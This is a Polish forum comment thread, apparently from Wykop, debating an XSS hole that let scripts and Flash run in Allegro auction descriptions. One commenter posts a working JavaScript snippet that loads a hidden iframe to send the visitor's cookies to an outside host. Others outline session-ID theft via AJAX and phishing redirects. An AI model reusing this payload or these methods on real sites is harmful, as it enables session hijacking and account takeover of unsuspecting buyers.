Zabezpieczenia Allegro nie działają - w opisach aukcji można bez problemów stosować zakazane znaczniki (X)HTML, skrypty JavaScript, a także obiekty Flash. Co to oznacza? - przejęcie dowolnego konta nie jest problemem ...

[ughost]

jak wiadomo - dziury zostały już połatane.. a przynajmniej większość.

Właśnie teraz to znalezisko załsuguje na mój wykop ;)

[Adriano]

Co zostało połatane? O niczym takim nie słyszałem ... - chyba, że chodzi o pierwszą lukę z position: absolute?

[jaceks]

wieksza czy mniejsza to nie ma znaczenia,wystawienie aukcji w czyims imieniu to juz pelna kompromitacja bezpieczenstwa allegro

te ostatnie watki o dziurach w allegro/ebay robia sie coraz ciekawsze, u nich pewnie goraczkowo probuja latac dziure i mysle ze lada moment , chocby przez wykop jakis dziennikarz sie do tego dorwie i "shit will hit the fan" uslyszymy o tym wzmianke w wiadomosciach. Zebysmy sie przy tym tylko "nie poparzyli", czasem firmy szukajac

[ughost]

czynnie brałeś udział w temacie - więc jesteś przestępcą?:P

[Adriano]

W obecnej sytuacji pracownikom Allegro mogę jedynie życzyć powodzenia - miłego szukania.

[k.....d]

No, mądrale - to teraz do roboty i się główcie jak ten cały kod wstawić do aukcji, heuhue :P. Adriano ma swój sposób, choć ja znalazłem inny i prawdopodobnie oba się od siebie różnią (czyli błędy można wywołać na dwa różne sposoby). Linka do aukcji póki co nie dam :P.

[Adriano]

Możesz podać więcej informacji (niekoniecznie szczegółowych - porównanie)? (adriano/at7pl.pl)

Chodzi o wywołanie błędu parsera na etapie przetwarzania kodu CSS, (X)HTML, czy JavaScript? (tyle wystarczy)

[f.....t]

Reasumując - wiem, że można wykrasc id sesji, to nawet nieszczególnie skomplikowane. Ale taki id sesji daje ci mozliwosc wejscia na konto usera poki sie on nie wyloguje - masz na to kilka minut. I w zasadzie mozesz wykonac kilka podstawowych operacji typu kupno sprzedaz. Po kupnie i sprzedazy user dostaje emaila, a skoro jest akurat przy kompie to zapewne za chwile go odczyta i podejmie odpowiednie kroki - zakonczy aukcje itp.

[maver]

4 Linijki:

var zdalnaRamka = document.createElement ( 'IFRAME' );

zdalnaRamka.style.visibility = 'hidden';

zdalnaRamka.src = 'http://mav.subfan.pl/allegro/sesje.php?zapisz=' + document.cookie;

document.body.appendChild ( zdalnaRamka );

Wsadzić to w window.onload i przy każdym wejściu na aukcje ID jest wysyłane, bez wiedzy użytkownika.

Zadowolony?

[jerz]

No to pięknie, właśnie wyczytałem, że: "Nie sprawdzają nawet zgodności adresu IP z tym, który zapoczątkował sesję." Tak więc nie doceniłem ignorancji ekipy allegro...

[Zanos]

o prosze krejd, czyli cos jednak sie dalo zrobic ... Wystawienie z czyjegos konta aukcji to tez nie w kij dmuchal.

Wyslijcie to do allegro - powinni kapusta rzucic za przetestowanie i poinformowanie o wszelkich nieprawidlowosciach. :)

Zastanawia mnie czemu ten temat ma 26 wykopow a np cos o pakowaniu procka w podpaske ma wiecej... no ale moze za duzo sie zastanawiam.

[ughost]

..no nie dziwię się:P

[k.....d]

Podpaska owned :D.

edit

Wiesz, temat troszkę się już pewnie przejadł społeczności Wykopu :P.

[k.....d]

Pomyłka. Dałem ID sesji znajomemu - z powodzeniem wystawił z mojego konta aukcję.

[KKKas]

Czyli nie wiążą ID sesji z ip, UA ? To chyba jest podstawa ? ;-)

[k.....d]

Gadałem chwilkę z ughostem na GG - oj tak, bardzo nakręcony człowiek, głównie na to co robi :D. Ale ma chłopak cel i dzięki temu "nakręceniu" potrafi zawzięcie go zrealizować.

@up

Była już przecież jedna afera z XSS na Allegro. Metoda o której mówisz (podkradanie id sesji) - raczej nie ma racji bytu.

[KKKas]

maver: Drugi przykład - wysłanie ciastka PHPSESSID przez AJAX do skryptu PHP który powiadamia mnie na GG / SMS o nazwie konta i ID sesji, dzięki temu włamuję się w kilka sekund na Twoje konto. Wystarczy tylko wejść do takiej aukcji.

Jeśli już, to taki skrypt php powinien sam wejść na allegro z danym ciastkiem i coś wykonać automatycznie. Ręcznie to sobie można...

Wydaje mi się, że jedyne co można w ten

[ughost]

maver.. udowodnij

[maver]

Owszem, jeśli ktoś chciałby to w jakikolwiek sposób wykorzystać to trzebaby to zautomatyzować.

Nie powiedziałem nigdzie że można wykraść w ten sposób hasło :). Jedyne co zyskujemy to dostęp do konta użytkownika w ograniczonym stopniu (do ustawień nie da się wejść). Ewentualnie można dzięki temu w dość łatwy sposób przekierować ofiarę na stronę phisingową na której to dopiero wyciągnie się od niego hasło. Ale to już trzeba liczyć na to, żeby użytkownik

[ughost]

Oj dobra dobra.

Pełen luz - ale i tak czekam na demko.. z resztą nie tylko ja zapewne. Chce po prsotu sprowokowac pewne osoby do poczynienia pewnych korków.. wtedy allegro.pl raczej zadziała i mam nadzieję coś z tym fantem zrobi.

Nakręcony / nienakręcony.. sam bardzo dużo kupuję i sprzedaję min. na allegro.pl - więc to nie dziwne że czekam na dowód że jest jak jest, a nie że koleś mi wyświetli alert();

[Zanos]

ughost - cieszy twoj wklad w komentarze zwlaszcza z perspektywy fachowca (programisty) - niemniej moze jakos bardziej wyluzuj ? Strasznie jakis nakrecony jestes - po co, na kogo ?

Nie obrazaj sie - tylko tak glosno mysle.

Ja uwazam ze to dobrze ze kwestia bezpieczenstwa w allegro wychodzi w blogach i na wykopie. W swietle ostatnich orzeczen sadu zwiazanych z allegro, bardzo wazne jest porzadne zabezpieczenie tego serwisu. Wchodzi odpowiedzialnosc cywilna tutaj

[wtk_]

"przejęcie dowolnego konta nie jest problemem ..." => mogą przejąć hasło do mojego starego konta do którego hasła zapomniałem ... nie mogą? o.. czyli nie każdego ;]

[Ubot]

Z całym szacunkiem Panowie, ale piszecie te komenty z pozycji osób które znają się na rzeczy. Tymczasem pewnie 75% osób korzystających z dobrodziejstw allegro nie rozumie tych pojęć i najzwyczajniej nie zauważy różnicy pomiędzy buttonem "systemowym" a "niesystemowym". Ja też nie zawsze patrzę na jaką stronę kieruje mnie link. Podejrzewam, że wiele osób nie zauważy też nic dziwnego w tym, że allegro każe po raz drugi wpisywać login i hasło, nawet jeśli

[f.....t]

a ANAL? ANAL bez ograniczen, xss po css i emacsem przez sendmajla, bitch!

jak ktos nie zna znacznei asłow "krytyczny" oraz "luka" niech zostawi ten temat w spokoju

[Adriano]

Ok, poprawiłem opis ...

[ughost]

Racja.

Ubot - dziękuję za ten wpis. Jesteś jedyną osobą która przemawia do mnie że to jest jednak zagrożenie, i że jest 'to coś' niebezpieczne dla kupujących.

Swoją drogą, nadal czekam na małą prezentację umiejętności" (aż się boję to tak nazywać) i pokazanie jak spreparować aukcję, żeby jednak coś ukraść.. tak jak to zrobił krejd - bo tyle wystarczyło.. w sumie to mało brakowało a dziura byłaby idealna.

[Agent_Microsoftu]

Adrianno, pokaż jak to wykorzystać... Bo to że sobie filmik wstawisz na aukcję to wcale nie znaczy że jest jakieś niebezpieczeństwo... Filmik w sef nam hasła wykradnie? :>

[maver]

ughost - współczuję Twojemu pracodawcy i jego przyszłej (lub obecnej) stronie internetowej jeśli jesteś programistą WWW.

Flash posiada język skryptowy który może w dużej mierze wpływać na działanie strony internetowej. Javascript to samo. Możesz kraść ciastka (a od ukradzionego ciastka do przejęcia sesji i zalogowania się jako dany użytkownik już baardzo niedaleko), przekierowywać użytkownika na strony udawające Allegro i wyłudzające hasła... możliwości wykorzystania tego jest mnóstwo.

http://en.wikipedia.org/wiki/Cross-site_scripting

edit: feuer-fest:

document.forms[1].action = '

[Adriano]

Możliwość wstawienia obiektu Flash i kodu JavaScript w opisie aukcji to nic groźnego?